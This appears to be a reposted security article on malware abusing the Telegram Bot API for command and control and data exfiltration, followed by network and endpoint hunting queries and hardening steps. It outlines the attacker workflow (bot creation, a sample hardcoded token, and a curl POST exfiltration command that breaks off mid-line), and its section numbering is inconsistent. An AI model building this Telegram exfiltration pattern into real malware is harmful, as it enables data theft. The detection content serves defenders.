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Introduction:
Telegram’s blend of anonymity, robust APIs, and resistance to takedowns has made it a top choice not just for private messaging, but for cybercriminals orchestrating attacks. Threat actors are now systematically abusing the platform across the entire attack chain, from initial command and control to final data exfiltration. This shift demands a move beyond traditional domain blocklists to behavioral detection of this legitimate but weaponized traffic.
Learning Objectives:
- Understand the technical and operational reasons why Telegram is abused for malware campaigns.
- Learn to detect and hunt for Telegram-based malicious activity in network traffic and endpoint logs.
- Implement actionable defenses to mitigate the risk of Telegram-abusing malware in your environment.
You Should Know:
- Why Cybercriminals Are Obsessed with Telegram Bot API
The core technical attraction lies in the Telegram Bot API. Adversaries create automated bots using the `@BotFather` service. Once a bot is created, it is assigned a unique HTTP-based API token. All communication is performed via standard HTTPS requests tohttps://api.telegram.org/bot<TOKEN>/METHOD, making it blend seamlessly with legitimate web traffic. This provides a free, resilient, and globally accessible command and control (C2) infrastructure that is difficult to distinguish from normal traffic and nearly impossible for defenders to block without collateral damage.
Step-by-Step Guide:
Step 1: Bot Creation. An adversary interacts with `@BotFather` on Telegram to generate a new bot and receives a token like 710412314:AAHdqTcvCH1vGWJxfSeofSAs0K5PALDsaw.
Step 2: Malware Integration. This token is hardcoded into the malware. The malware uses it to call API methods like `sendMessage` to exfiltrate data or `getUpdates` to receive new commands.
Step 3: Communication. The malware performs simple HTTPS POST requests. For example, to send stolen data to a Telegram chat, the malware would execute: `curl -X POST https://api.telegram.org/bot
2. Hunting in Your Network: Spotting Telegram C2 Traffic
Detection focuses on identifying patterns in SSL/TLS certificates and HTTP requests destined for Telegram’s infrastructure. While the traffic is encrypted, the SSL certificate presented by `api.telegram.org` and the consistent User-Agent strings in requests provide reliable fingerprints for hunting.
Step-by-Step Guide:
Step 1: Certificate Hunting. Use network monitoring tools (Zeek, Suricata) to log SSL certificate details. The key field is the certificate’s Subject Common Name (CN). Legitimate Telegram API traffic will have a CN of `.telegram.org` or api.telegram.org.
Hunt Query (Zeek/Splunk): `index=zeek ssl.subject=”.telegram.org” | stats count by id.orig_h, id.resp_h`
Step 2: HTTP User-Agent Analysis. Malware often uses generic or outdated HTTP libraries. Look for non-standard User-Agents in requests to Telegram domains.
Example Suspicious Pattern: `User-Agent: python-requests/2.25.1` from a standard user workstation is highly anomalous.
Step 3: Baseline Normal Use. First, identify and whitelist known, legitimate Telegram desktop or web client traffic within your organization to reduce noise.
- KQL for Proactive Threat Hunting in Microsoft Sentinel
For environments using Microsoft Sentinel, Kusto Query Language (KQL) is powerful for hunting. The following query looks for processes making network connections to Telegram’s API IP ranges, which is unusual for most enterprise systems outside of an installed desktop client.
Step-by-Step Guide:
let TelegramIPs = dynamic(["149.154.160.0/20", "91.108.4.0/22"]); DeviceNetworkEvents | where RemoteIP has_any (TelegramIPs) | where InitiatingProcessFileName != "Telegram.exe" // Exclude legitimate client | where ActionType == "ConnectionSuccess" | summarize ConnectionCount = count(), FirstSeen = min(TimeGenerated), LastSeen = max(TimeGenerated) by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort | where ConnectionCount > 5 // Filter for sustained communication
How to Use It:
- Navigate to the Hunting blade in your Microsoft Sentinel workspace.
- Click New Query and paste the KQL above.
- Adjust the `TelegramIPs` range if needed and the `ConnectionCount` threshold based on your environment’s baseline.
- Run the query. Investigate any results, focusing on processes like
python.exe,powershell.exe, or unknown executables making these calls.
4. Endpoint Detection: Uncovering Malware Persistence & Activity
On the endpoint, look for artifacts left by malware that uses Telegram for C2. This includes unusual process lineage, file system drops, and persistence mechanisms.
Step-by-Step Guide (Windows Focus):
Step 1: Process Creation Analysis. Look for script interpreters or unusual parents spawning network-related processes.
Windows Event ID 4688 / Sysmon Event ID 1: Analyze `ParentProcessName` and CommandLine. A command like `cmd.exe` spawning `powershell.exe` which then runs a script with a long, obfuscated string or a curl command to `api.telegram.org` is a red flag.
Step 2: Persistence Mechanism Checks. Malware like DeerStealer often establishes persistence via Run keys or scheduled tasks.
Command to check Run keys: `reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
Command to list scheduled tasks: `schtasks /query /fo LIST /v`
Step 3: File System Artifacts. Hunt for dropped files, especially in %AppData%, %Temp%, or public directories. Look for scripts (.vbs, .ps1, .js) or executable payloads with recent creation dates.
5. Hardening Your Environment: Defensive Configurations
Mitigation involves a layered approach combining application control, network segmentation, and enhanced logging to limit the impact and increase detection fidelity.
Step-by-Step Guide:
Step 1: Implement Application Allow-Listing. Use tools like Windows Defender Application Control (WDAC) or third-party solutions to block unauthorized executables and scripts from running, preventing the initial malware payload.
Example WDAC Policy Rule: Create a policy that allows only signed, business-required applications and blocks scripts from user writable locations.
Step 2: Configure Web Proxy & SSL Inspection. Force all outbound HTTP/HTTPS traffic through a authenticated web proxy. Implement SSL inspection to decode traffic for deeper analysis, though be mindful of privacy and the certificate for api.telegram.org.
Proxy Rule Logic: Create an alerting rule for any POST request to `api.telegram.org/bot` that does not originate from a designated administrative system.
Step 3: Enable and Centralize Process Auditing. Ensure Sysmon or equivalent endpoint telemetry is deployed and configured to log detailed process creation (including command line) and network connections. Forward these logs to a centralized SIEM for correlation with the network-based hunts.
What Undercode Say:
- The Legitimacy Paradox is the New Normal. The most dangerous attack vectors are not hidden on dark web servers but are hiding in plain sight on platforms we use daily. Defenders can no longer rely on blocking “bad” domains; they must develop the capability to discern malicious behavior within legitimate services.
- Resilience Favors the Attacker. Telegram’s distributed, cloud-based architecture, designed for user privacy and uptime, inadvertently provides adversaries with a C2 channel that is more resilient to takedown than traditional botnets. This shifts the defensive burden almost entirely to the target environment.
The abuse of Telegram represents a maturation in the cyber threat landscape, moving towards “living-off-the-land” using legitimate internet services (LOLLIS). This trend will accelerate. We predict a near future where malware C2 is distributed across multiple decentralized platforms—using Telegram for exfiltration, Discord for staging, and GitHub for commands—creating a fluid, multi-platform C2 mesh that is incredibly difficult to disrupt. Defensive strategies must evolve from IOC-based blocking to a focus on behavioral anomalies, robust endpoint telemetry, and machine-learning models trained to spot malicious patterns within allowed cloud traffic.
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Reported By: Stamatis Chatzimangou – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
